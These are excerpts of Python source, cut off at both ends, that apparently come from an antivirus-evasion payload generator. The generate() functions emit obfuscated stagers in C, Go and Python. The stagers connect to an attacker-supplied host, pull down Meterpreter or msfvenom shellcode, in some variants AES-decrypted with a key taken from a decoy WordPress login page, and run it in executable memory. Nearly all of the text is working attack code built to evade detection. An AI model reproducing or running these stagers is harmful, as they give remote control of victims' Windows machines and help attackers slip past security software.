%(serviceName), "ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;", "ServiceTable[1].lpServiceName = NULL;", "ServiceTable[1].lpServiceProc = NULL;"] random.shuffle(serviceTableEntries) code += "\n".join(serviceTableEntries) code += "StartServiceCtrlDispatcher(ServiceTable);}\n" # real - service status options for us to shuffle serviceStatusOptions = ["ServiceStatus.dwWin32ExitCode = 0;", "ServiceStatus.dwCurrentState = SERVICE_START_PENDING;", "ServiceStatus.dwWaitHint = 0;", "ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;", "ServiceStatus.dwServiceSpecificExitCode = 0;", "ServiceStatus.dwCheckPoint = 0;", "ServiceStatus.dwServiceType = SERVICE_WIN32;"] random.shuffle(serviceStatusOptions) # real - serviceMain() code code += "void ServiceMain(int argc, char** argv) {\n" code += "\n".join(serviceStatusOptions) code += "%s = RegisterServiceCtrlHandler( \"%s\", (LPHANDLER_FUNCTION)ControlHandler);" %(hStatusName, serviceName) code += "if (%s == (SERVICE_STATUS_HANDLE)0) return;" %(hStatusName) code += "ServiceStatus.dwCurrentState = SERVICE_RUNNING;" code += "SetServiceStatus (%s, &ServiceStatus);" %(hStatusName) code += "while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {\n" # build main() code size_name = helpers.randomString() buffer_name = helpers.randomString() function_name = helpers.randomString() my_socket_name = helpers.randomString() count_name = helpers.randomString() request_buf_name = helpers.randomString() buf_counter_name = helpers.randomString() bytes_read_name = helpers.randomString() # obfuscation stuff char_array_name_1 = helpers.randomString() number_of_strings_1 = random.randint(1,max_num_strings) char_array_name_2 = helpers.randomString() number_of_strings_2 = random.randint(1,max_num_strings) char_array_name_3 = helpers.randomString() number_of_strings_3 = random.randint(1,max_num_strings) code += "char * %s; int i;" %(buffer_name) # obfuscation code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) # malloc our first string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length)) # call the winsock init function code += "%s();" %(winsock_init_name) # obfuscation code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) # create our socket code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name) # malloc our second string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length)) # build and send the HTTP request to the handler code += "char %s[200];" %(request_buf_name) code += "sprintf(%s, \"GET /%%s HTTP/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: %s:%s\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\\r\\n\\r\\n\", %s());" %(request_buf_name, self.required_options["LHOST"][0], self.required_options["LPORT"][0], checksum_name) code += "send(%s,%s, strlen( %s ),0);" %(my_socket_name, request_buf_name, request_buf_name) code += "Sleep(300);" # TODO: obfuscate/randomize the size of the page allocated code += "%s = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name) code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) # first string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) # read the full server response into the buffer code += "char * %s = %s;" % (buf_counter_name,buffer_name) code += "int %s; do {" % (bytes_read_name) code += "%s = recv(%s, %s, 1024, 0);" % (bytes_read_name, my_socket_name, buf_counter_name) code += "%s += %s; }" % (buf_counter_name,bytes_read_name) code += "while ( %s > 0 );" % (bytes_read_name) # malloc our third string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length)) # second string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) # real code code += "closesocket(%s); WSACleanup();" %(my_socket_name) code += "((void (*)())strstr(%s, \"\\r\\n\\r\\n\") + 4)();" %(buffer_name) # third string obfuscation method (never called) code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) code += "} return; }\n" # service control handler code code += """void ControlHandler(DWORD request) { switch(request) { case SERVICE_CONTROL_STOP: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; case SERVICE_CONTROL_SHUTDOWN: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; default: break; } SetServiceStatus (%s, &ServiceStatus); return; } """ %(hStatusName, hStatusName, hStatusName) return code
def generate(self): winsock_init_name = helpers.randomString() punt_name = helpers.randomString() recv_all_name = helpers.randomString() wsconnect_name = helpers.randomString() # the real includes needed includes = [ "#include <stdio.h>", "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>" ] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(100, global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = helpers.randomString() # reverse() randName2 = helpers.randomString() # doubles characters stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" % (randName1)), (randName2, "char* %s(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" % (randName2)) ] helpers.shuffle(stringModFunctions) # obsufcation - "logical nop" string generation functions randString1 = helpers.randomString(50) randName1 = helpers.randomString() randVar1 = helpers.randomString() randName2 = helpers.randomString() randVar2 = helpers.randomString() randVar3 = helpers.randomString() randName3 = helpers.randomString() randVar4 = helpers.randomString() randVar5 = helpers.randomString() stringGenFunctions = [ (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" % (randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[len(randString1) / 2])), (randName2, "char* %s(){ char %s[%s], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, helpers.randomString(50), randVar3, helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3)), (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, helpers.randomString(50), randVar5, randVar4, randVar5)) ] helpers.shuffle(stringGenFunctions) # obfuscation - add in our fake includes fake_includes = [ "#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>", "#include <limits.h>", "#include <assert.h>" ] t = random.randint(1, 7) for x in xrange(1, random.randint(1, 7)): includes.append(fake_includes[x]) # obsufcation - shuffle up our real and fake includes helpers.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include <winsock2.h>\n" code += "\n".join(includes) + "\n" # real - service related headers (check the stub) hStatusName = helpers.randomString() serviceHeaders = [ "SERVICE_STATUS ServiceStatus;", "SERVICE_STATUS_HANDLE %s;" % (hStatusName), "void ServiceMain(int argc, char** argv);", "void ControlHandler(DWORD request);" ] helpers.shuffle(serviceHeaders) code += "\n".join(serviceHeaders) # obsufcation - string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # real - build the winsock_init function wVersionRequested_name = helpers.randomString() wsaData_name = helpers.randomString() code += "void %s() {" % (winsock_init_name) code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % ( wVersionRequested_name, helpers.obfuscateNum( 2, 4), helpers.obfuscateNum(2, 4), wsaData_name) code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" % ( wVersionRequested_name, wsaData_name) # first logical nop string function code += stringGenFunctions[0][1] + "\n" # real - build punt function my_socket_name = helpers.randomString() code += "void %s(SOCKET %s) {" % (punt_name, my_socket_name) code += "closesocket(%s);" % (my_socket_name) code += "WSACleanup();" code += "exit(1);}\n" # obsufcation - second logical nop string function code += stringGenFunctions[1][1] + "\n" # real - build recv_all function my_socket_name = helpers.randomString() buffer_name = helpers.randomString() len_name = helpers.randomString() code += "int %s(SOCKET %s, void * %s, int %s){" % ( recv_all_name, my_socket_name, buffer_name, len_name) code += "int slfkmklsDSA=0;int rcAmwSVM=0;" code += "void * startb = %s;" % (buffer_name) code += "while (rcAmwSVM < %s) {" % (len_name) code += "slfkmklsDSA = recv(%s, (char *)startb, %s - rcAmwSVM, 0);" % ( my_socket_name, len_name) code += "startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA;" code += "if (slfkmklsDSA == SOCKET_ERROR) %s(%s);} return rcAmwSVM; }\n" % ( punt_name, my_socket_name) # obsufcation - third logical nop string function code += stringGenFunctions[2][1] + "\n" # real - build wsconnect function target_name = helpers.randomString() sock_name = helpers.randomString() my_socket_name = helpers.randomString() code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % ( wsconnect_name, target_name, sock_name, my_socket_name) code += "%s = socket(AF_INET, SOCK_STREAM, 0);" % (my_socket_name) code += "if (%s == INVALID_SOCKET) %s(%s);" % ( my_socket_name, punt_name, my_socket_name) code += "%s = gethostbyname(\"%s\");" % ( target_name, self.required_options["LHOST"][0]) code += "if (%s == NULL) %s(%s);" % (target_name, punt_name, my_socket_name) code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" % ( sock_name, target_name, target_name) code += "%s.sin_family = AF_INET;" % (sock_name) code += "%s.sin_port = htons(%s);" % ( sock_name, helpers.obfuscateNum(int(self.required_options["LPORT"][0]), 32)) code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" % ( my_socket_name, sock_name, sock_name, punt_name, my_socket_name) code += "return %s;}\n" % (my_socket_name) # real - main() method for the service code serviceName = helpers.randomString() code += "void main() { SERVICE_TABLE_ENTRY ServiceTable[2];" serviceTableEntries = [ "ServiceTable[0].lpServiceName = \"%s\";" % (serviceName), "ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;", "ServiceTable[1].lpServiceName = NULL;", "ServiceTable[1].lpServiceProc = NULL;" ] helpers.shuffle(serviceTableEntries) code += "\n".join(serviceTableEntries) code += "StartServiceCtrlDispatcher(ServiceTable);}\n" # real - service status options for us to shuffle serviceStatusOptions = [ "ServiceStatus.dwWin32ExitCode = 0;", "ServiceStatus.dwCurrentState = SERVICE_START_PENDING;", "ServiceStatus.dwWaitHint = 0;", "ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;", "ServiceStatus.dwServiceSpecificExitCode = 0;", "ServiceStatus.dwCheckPoint = 0;", "ServiceStatus.dwServiceType = SERVICE_WIN32;" ] helpers.shuffle(serviceStatusOptions) # real - serviceMain() code code += "void ServiceMain(int argc, char** argv) {\n" code += "\n".join(serviceStatusOptions) code += "%s = RegisterServiceCtrlHandler( \"%s\", (LPHANDLER_FUNCTION)ControlHandler);" % ( hStatusName, serviceName) code += "if (%s == (SERVICE_STATUS_HANDLE)0) return;" % (hStatusName) code += "ServiceStatus.dwCurrentState = SERVICE_RUNNING;" code += "SetServiceStatus (%s, &ServiceStatus);" % (hStatusName) code += "while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {\n" # obsufcation - random variable names size_name = helpers.randomString() buffer_name = helpers.randomString() function_name = helpers.randomString() my_socket_name = helpers.randomString() count_name = helpers.randomString() # obsufcation - necessary declarations char_array_name_1 = helpers.randomString() number_of_strings_1 = random.randint(1, max_num_strings) char_array_name_2 = helpers.randomString() number_of_strings_2 = random.randint(1, max_num_strings) char_array_name_3 = helpers.randomString() number_of_strings_3 = random.randint(1, max_num_strings) # real - necessary declarations code += "ULONG32 %s;" % (size_name) code += "char * %s;" % (buffer_name) code += "int i;" code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) code += "void (*%s)();" % (function_name) # obsufcation - malloc our first string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_1, char_array_name_1, random.randint(max_string_length, global_max_string_length)) code += "%s();" % (winsock_init_name) code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) code += "SOCKET %s = %s();" % (my_socket_name, wsconnect_name) # obsufcation - malloc our second string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_2, char_array_name_2, random.randint(max_string_length, global_max_string_length)) # real - receive the 4 byte size from the handler code += "int %s = recv(%s, (char *)&%s, %s, 0);" % ( count_name, my_socket_name, size_name, helpers.obfuscateNum(4, 2)) # real - punt the socket if something goes wrong code += "if (%s != %s || %s <= 0) %s(%s);" % ( count_name, helpers.obfuscateNum( 4, 2), size_name, punt_name, my_socket_name) # real - virtual alloc space for the meterpreter .dll code += "%s = VirtualAlloc(0, %s + %s, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" % ( buffer_name, size_name, helpers.obfuscateNum(5, 2)) # obsufcation - declare space for our 3 string obfuscation array code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) # obsufcation - first string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) # real - check if the buffer received is null, if so punt the socket code += "if (%s == NULL) %s(%s);" % (buffer_name, punt_name, my_socket_name) # real - prepend some buffer magic to push the socket number onto the stack code += "%s[0] = 0xBF;" % (buffer_name) # real- copy the 4 magic bytes into the buffer code += "memcpy(%s + 1, &%s, %s);" % (buffer_name, my_socket_name, helpers.obfuscateNum(4, 2)) # obsufcation - malloc our third string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_3, char_array_name_3, random.randint(max_string_length, global_max_string_length)) # obsufcation - second string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) # real - receive all data from the socket code += "%s = %s(%s, %s + %s, %s);" % ( count_name, recv_all_name, my_socket_name, buffer_name, helpers.obfuscateNum(5, 2), size_name) code += "%s = (void (*)())%s;" % (function_name, buffer_name) code += "%s();" % (function_name) # obsufcation - third string obfuscation method (never called) code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) code += "} return; }\n" # service control handler code code += """void ControlHandler(DWORD request) { switch(request) { case SERVICE_CONTROL_STOP: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; case SERVICE_CONTROL_SHUTDOWN: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; default: break; } SetServiceStatus (%s, &ServiceStatus); return; } """ % (hStatusName, hStatusName, hStatusName) return code
def generate(self): Shellcode = self.shellcode.generate(self.required_options) # randomly generate out variable names memCommit = helpers.randomString() memReserve = helpers.randomString() pageExecRW = helpers.randomString() kernel32 = helpers.randomString() procVirtualAlloc = helpers.randomString() virtualAlloc = helpers.randomString() size = helpers.randomString() addr = helpers.randomString() err = helpers.randomString() sc = helpers.randomString() buff = helpers.randomString() value = helpers.randomString() payloadCode = 'package main\nimport (\n"fmt"\n"os"\n"unsafe"\n"syscall"\n)\n' payloadCode += "const (\n" payloadCode += "%s = 0x1000\n" % (memCommit) payloadCode += "%s = 0x2000\n" % (memReserve) payloadCode += "%s = 0x40\n)\n" % (pageExecRW) payloadCode += "var (\n" payloadCode += '%s = syscall.NewLazyDLL("kernel32.dll")\n' % (kernel32) payloadCode += '%s = %s.NewProc("VirtualAlloc")\n)\n' % (procVirtualAlloc, kernel32) payloadCode += "func %s(%s uintptr) (uintptr, error) {\n" % (virtualAlloc, size) payloadCode += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % ( addr, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW, ) payloadCode += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (addr, err, addr) payloadCode += 'var %s string = "%s"\n' % (sc, Shellcode) payloadCode += "func main() {\n" payloadCode += "%s, %s := %s(uintptr(len(%s)))\n" % (addr, err, virtualAlloc, sc) payloadCode += "if %s != nil {\nfmt.Println(%s)\nos.Exit(1)\n}\n" % (err, err) payloadCode += "%s := (*[890000]byte)(unsafe.Pointer(%s))\n" % (buff, addr) payloadCode += "for x, %s := range []byte(%s) {\n" % (value, sc) payloadCode += "%s[x] = %s\n}\n" % (buff, value) payloadCode += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (addr) return payloadCode
def generate(self): if self.required_options["INJECT_METHOD"][0].lower() == "virtual": TARGET_SERVER = str(self.required_options["TARGET_SERVER"][0]) target_html_file = str(TARGET_SERVER.split('/')[-1]) USER_AGENT = "'User-agent', '" + self.required_options[ 'USER_AGENT'][0] # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() # Define Random Variable Names for HTTP functions RandResponse = helpers.randomString() RandHttpKey = helpers.randomString() RandMD5 = helpers.randomString() RandKeyServer = helpers.randomString() RandSleep = helpers.randomString() # Define Random Variable Names for HTML Functions RandHttpstring = helpers.randomString() # Genrate Random HTML code for webserver to host key file f = open( str(self.required_options["HTML_FILE_PATH"][0]) + target_html_file, 'w') html_data = """ <!DOCTYPE html> <!--[if IE 8]> <html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="en-US"> <![endif]--> <!--[if !(IE 8) ]><!--> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-US"><!--<![endif]--><head> <form name="loginform" id="loginform" action="http://mainpage/wp-login.php" method="post"> <p> <label for="user_login">Username<br> <input name="log" id="user_login" class="input" size="20" type="text"></label> </p> <p> <label for="user_pass">Password<br> <input name="pwd" id="user_pass" class="input" value="" size="20" type="password"></label> </p> <p class="forgetmenot"><label for="rememberme"><input name="rememberme" id="rememberme" value="forever" type="checkbox"> Remember Me</label></p> <p class="submit"> <input name="wp-submit" id="wp-submit" class="button button-primary button-large" value="Log In" type="submit"> <input name="redirect_to" value="http://www.google.com" type="hidden"> <input name="testcookie" value="1" type="hidden"> </p> </form> <p id="nav"> <a rel="nofollow" href="http://www.google.com">Register</a> | <a href="http://www.google.com" title="Password Lost and Found">Lost your password?</a> </p> <p id="backtoblog"><a href="http://" title="Are you lost?">← Back to main page</a></p> </div> <div class="clear"></div> </body></html> """ html_data += '<!--' + RandHttpstring + '-->' html_data = str(html_data) f.write(html_data) f.close() # encrypt the shellcode and grab the HTTP-Md5-Hex Key from new function (EncodedShellcode, secret) = encryption.encryptAES_http_request( Shellcode, html_data) # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += 'import time\n' PayloadCode += 'import md5\n' PayloadCode += 'import urllib2\n' PayloadCode += 'opener = urllib2.build_opener()\n' PayloadCode += 'opener.addheaders' + ' = ' '[(' + USER_AGENT + '\')]' '\n' # Define Target Server "Key hosting server" PayloadCode += RandKeyServer + ' = ' '"' + TARGET_SERVER + '"' '\n' PayloadCode += 'while True:\n' PayloadCode += ' try:\n' # Open Target Server with HTTP GET request PayloadCode += ' ' + RandResponse + '= opener.open(' + RandKeyServer + ') \n' # Check to see if server returns a 200 code or if not its most likely a 400 code PayloadCode += ' if ' + RandResponse + '.code == 200:\n' # Opening and requesting HTML from Target Server PayloadCode += ' ' + RandHttpKey + ' = opener.open(' + RandKeyServer + ').read()\n' PayloadCode += ' ' + RandMD5 + ' = md5.new()\n' PayloadCode += ' ' + RandHttpKey + ' = str(' + RandHttpKey + ')\n' # Genrate MD5 hash of HTML on page PayloadCode += ' ' + RandMD5 + '.update(' + RandHttpKey + ')\n' # Convert to 16 Byte Hex for AES functions PayloadCode += ' ' + RandHttpKey + ' = ' + RandMD5 + '.hexdigest()\n' # Convert to String for functions PayloadCode += ' ' + RandHttpKey + ' = str(' + RandHttpKey + ')\n' # Break out to decryption PayloadCode += ' break\n' # At any point it fails you will be in sleep for supplied time PayloadCode += ' except URLError, e:\n' PayloadCode += ' time.sleep(' + self.required_options[ "SLEEP_TIME"][0] + ')\n' PayloadCode += ' pass\n' # Execute Shellcode inject PayloadCode += RandPadding + ' = \'{\'\n' PayloadCode += RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += RandCipherObject + ' = AES.new(' + RandHttpKey + ')\n' PayloadCode += RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += RandShellCode + ' = bytearray(' + RandDecodedShellcode + '.decode("string_escape"))\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + RandShellCode + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + RandShellCode + ')).from_buffer(' + RandShellCode + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + RandShellCode + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode elif self.required_options["INJECT_METHOD"][0].lower() == "heap": TARGET_SERVER = str(self.required_options["TARGET_SERVER"][0]) target_html_file = str(TARGET_SERVER.split('/')[-1]) USER_AGENT = "User-Agent: " + self.required_options['USER_AGENT'][0] # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() HeapVar = helpers.randomString() # Define Random Variable Names for HTTP functions RandResponse = helpers.randomString() RandHttpKey = helpers.randomString() RandMD5 = helpers.randomString() RandKeyServer = helpers.randomString() RandSleep = helpers.randomString() # Define Random Variable Names for HTML Functions RandHttpstring = helpers.randomString() # Genrate Random HTML code for webserver to host key file f = open( str(self.required_options["HTML_FILE_PATH"][0]) + target_html_file, 'w') html_data = """ <!DOCTYPE html> <!--[if IE 8]> <html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="en-US"> <![endif]--> <!--[if !(IE 8) ]><!--> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-US"><!--<![endif]--><head> <form name="loginform" id="loginform" action="http://mainpage/wp-login.php" method="post"> <p> <label for="user_login">Username<br> <input name="log" id="user_login" class="input" size="20" type="text"></label> </p> <p> <label for="user_pass">Password<br> <input name="pwd" id="user_pass" class="input" value="" size="20" type="password"></label> </p> <p class="forgetmenot"><label for="rememberme"><input name="rememberme" id="rememberme" value="forever" type="checkbox"> Remember Me</label></p> <p class="submit"> <input name="wp-submit" id="wp-submit" class="button button-primary button-large" value="Log In" type="submit"> <input name="redirect_to" value="http://www.google.com" type="hidden"> <input name="testcookie" value="1" type="hidden"> </p> </form> <p id="nav"> <a rel="nofollow" href="http://www.google.com">Register</a> | <a href="http://www.google.com" title="Password Lost and Found">Lost your password?</a> </p> <p id="backtoblog"><a href="http://" title="Are you lost?">← Back to main page</a></p> </div> <div class="clear"></div> </body></html> """ html_data += '<!--' + RandHttpstring + '-->' html_data = str(html_data) f.write(html_data) f.close() # encrypt the shellcode and grab the randomized key (EncodedShellcode, secret) = encryption.encryptAES_http_request( Shellcode, html_data) # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += 'import time\n' PayloadCode += 'import md5\n' PayloadCode += 'import urllib2\n' PayloadCode += 'opener = urllib2.build_opener()\n' PayloadCode += 'opener.addheaders' + ' = ' '"' + USER_AGENT + '"' '\n' # Define Target Server "Key hosting server" PayloadCode += RandKeyServer + ' = ' '"' + TARGET_SERVER + '"' '\n' PayloadCode += 'while True:\n' PayloadCode += ' try:\n' # Open Target Server with HTTP GET request PayloadCode += ' ' + RandResponse + '= opener.open(' + RandKeyServer + ') \n' # Check to see if server returns a 200 code or if not its most likely a 400 code PayloadCode += ' if ' + RandResponse + '.code == 200:\n' # Opening and requesting HTML from Target Server PayloadCode += ' ' + RandHttpKey + ' = opener.open(' + RandKeyServer + ').read()\n' PayloadCode += ' ' + RandMD5 + ' = md5.new()\n' PayloadCode += ' ' + RandHttpKey + ' = str(' + RandHttpKey + ')\n' # Genrate MD5 hash of HTML on page PayloadCode += ' ' + RandMD5 + '.update(' + RandHttpKey + ')\n' # Convert to 16 Byte Hex for AES functions PayloadCode += ' ' + RandHttpKey + ' = ' + RandMD5 + '.hexdigest()\n' # Convert to String for functions PayloadCode += ' ' + RandHttpKey + ' = str(' + RandHttpKey + ')\n' # Break out to decryption PayloadCode += ' break\n' # At any point it fails you will be in sleep for supplied time PayloadCode += ' except URLError, e:\n' PayloadCode += ' time.sleep(' + self.required_options[ "SLEEP_TIME"][0] + ')\n' PayloadCode += ' pass\n' # Execute Shellcode inject PayloadCode += RandPadding + ' = \'{\'\n' PayloadCode += RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += RandCipherObject + ' = AES.new(\'' + secret + '\')\n' PayloadCode += RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += ShellcodeVariableName + ' = bytearray(' + RandDecodedShellcode + '.decode("string_escape"))\n' PayloadCode += HeapVar + ' = ctypes.windll.kernel32.HeapCreate(ctypes.c_int(0x00040000),ctypes.c_int(len(' + ShellcodeVariableName + ') * 2),ctypes.c_int(0))\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.HeapAlloc(ctypes.c_int(' + HeapVar + '),ctypes.c_int(0x00000008),ctypes.c_int(len( ' + ShellcodeVariableName + ')))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: if self.required_options["EXPIRE_PAYLOAD"][0].lower() == "x": TARGET_SERVER = str(self.required_options["TARGET_SERVER"][0]) target_html_file = str(TARGET_SERVER.split('/')[-1]) USER_AGENT = "User-Agent: " + self.required_options[ 'USER_AGENT'][0] # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() # Define Random Variable Names for HTTP functions RandResponse = helpers.randomString() RandHttpKey = helpers.randomString() RandMD5 = helpers.randomString() RandKeyServer = helpers.randomString() RandSleep = helpers.randomString() # Define Random Variable Names for HTML Functions RandHttpstring = helpers.randomString() # Genrate Random HTML code for webserver to host key file f = open( str(self.required_options["HTML_FILE_PATH"][0]) + target_html_file, 'w') html_data = """ <!DOCTYPE html> <!--[if IE 8]> <html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="en-US"> <![endif]--> <!--[if !(IE 8) ]><!--> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-US"><!--<![endif]--><head> <form name="loginform" id="loginform" action="http://mainpage/wp-login.php" method="post"> <p> <label for="user_login">Username<br> <input name="log" id="user_login" class="input" size="20" type="text"></label> </p> <p> <label for="user_pass">Password<br> <input name="pwd" id="user_pass" class="input" value="" size="20" type="password"></label> 